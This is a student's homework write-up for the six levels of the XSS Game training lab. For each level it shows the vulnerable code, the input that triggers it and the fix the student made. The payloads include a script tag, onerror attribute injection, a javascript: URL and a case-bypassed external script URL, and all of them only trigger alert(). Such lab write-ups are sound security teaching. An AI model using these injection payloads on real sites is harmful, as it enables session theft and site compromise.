Web Security HW #2: XSS

Tae Jin Kim (tkim80)

Instructions on how to run my programs are in the README

(#)

(i) where the vulnerable source code is located
(ii) how to trigger the vulnerability
(iii) how I fixed the problem

(1)

(i) message = "Sorry, no results were found for " + query + "."

(ii) Just type in the following into the search box:
<script>alert("wee")</script>

(iii) The reason why this above input was able to trigger the alert is because the code fails to take into account the fact that the client may try to introduce malicious code into the program. In order to fix this, I added an escapeHtml method that makes sure to encode any HTML/JS input that the client might provide.

(2)

(i) If you look at the structure of the messages in Madchattr, you should notice that all of the messages are written in html (look at index.html):

```
var posts = DB.getPosts();
  for (var i=0; i<posts.length; i++) {
    var html = '<table class="message"> <tr> <td valign=top> '
      + '<img src="/static/level2_icon.png"> </td> <td valign=top '
      + ' class="message-container"> <div class="shim"></div>';

    html += '<b>You</b>';
    html += '<span class="date">' + new Date(posts[i].date) + '</span>';
    html += "<blockquote>" + posts[i].message + "</blockquote";
    html += "</td></tr></table>"
    containerEl.innerHTML += html;
```

(ii) So, in order to introduce the alert, post the following into the message board:

(iii) As you can see, index.html makes sure to loop through all of the posts every time before displaying them; therefore, once malicious code is introduced, the website will continue to alert the client until the message history is cleared. In addition, because the entirety if each post is written in html, it becomes very easy to introduce malicious code by just posting some simple JS onto the message board. Therefore, I did something very similar to #1 and created an escapeHtml method that makes sure to encode any HTML/JS input that the client might provide.

(3)

(i)
```
function chooseTab(num) {
  // Dynamically load the appropriate image.
  var html = "Image" + parseInt(num) + "<br>";
  html += "<img src='/static/level3/cloud" + num + ".jpg' />"
  $('#tabContent').html(html);
```

(ii) Replace the URL with the following:
https://xss-game.appspot.com/level3/frame#1'onerror='alert("wee")'

(iii) I realized that a client could take advantage of the URL and introduce malicious code by using an “onerror” attribute, just like the previous question. In order to fix this, I made it so that the website can only accept “1”, “2”, or “3” as options for the images. Otherwise, “1” is set as the default.

(4)

(i)
```
<img src="/static/loading.gif" onload="startTimer('{{ timer }}');" />
```

(ii) Just type in the following into the search box:
');alert('wee

(iii) The reason why the above input works is because it tricks the program into thinking that it is a second argument when, in actuality, the input introduces an alert. In order to fix this problem, I made it so that all inputs had to be a positive number; otherwise, the timer would default to 0 seconds.

(5)

(i) In signup.html
```
<a href="{{ next }}">Next >></a>
```

In confirm.html

```
setTimeout(function() { window.location = '{{ next }}'; }, 5000);
```

(ii) After signing up, update the URL with the following
https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert("wee")
Then, just input anything as an email and click on “Next”

(iii) The reason why this happens is because the html files allow the client to carry over malicious code over to the upcoming sites. I avoided this by making it so that the signup page always follows the welcoming page, the confirm page always follows the signup page, and the welcoming page always follows the confirm page. There is no way for the client to input any malicious code because if (s)he does, it will always be ignored.

(6)

(i)
```
// This will totally prevent us from loading evil URLs!
if (url.match(/^https?:\/\//)) {
  setInnerText(document.getElementById("log"),
    "Sorry, cannot load a URL containing \"http\".");
  return;
}
```

(ii) Replace the url with the following:
https://xss-game.appspot.com/level6/frame#HtTpS://pastebin.com/raw.php?i=tcyi0JnR
Instead of using an online text, you can also use a local one:
https://xss-game.appspot.com/level6/frame#data:text/plain,alert("wee")

(iii) The biggest clue was the comment. Since the code told me that I wouldn’t be able to load an evil URL, I assumed that there probably was a way to do so. After creating a simple line of code on pastebin.com, I looked over index.html a bit more, only to realize that all I would have to do to avoid the restriction on websites would be to capitalize some of the characters on https. In order to fix this error, I made it so that URL would be matched to “https://” regardless of case. I also made sure to match the URL with “data:” in case the client tried to introduce malicious code that way instead.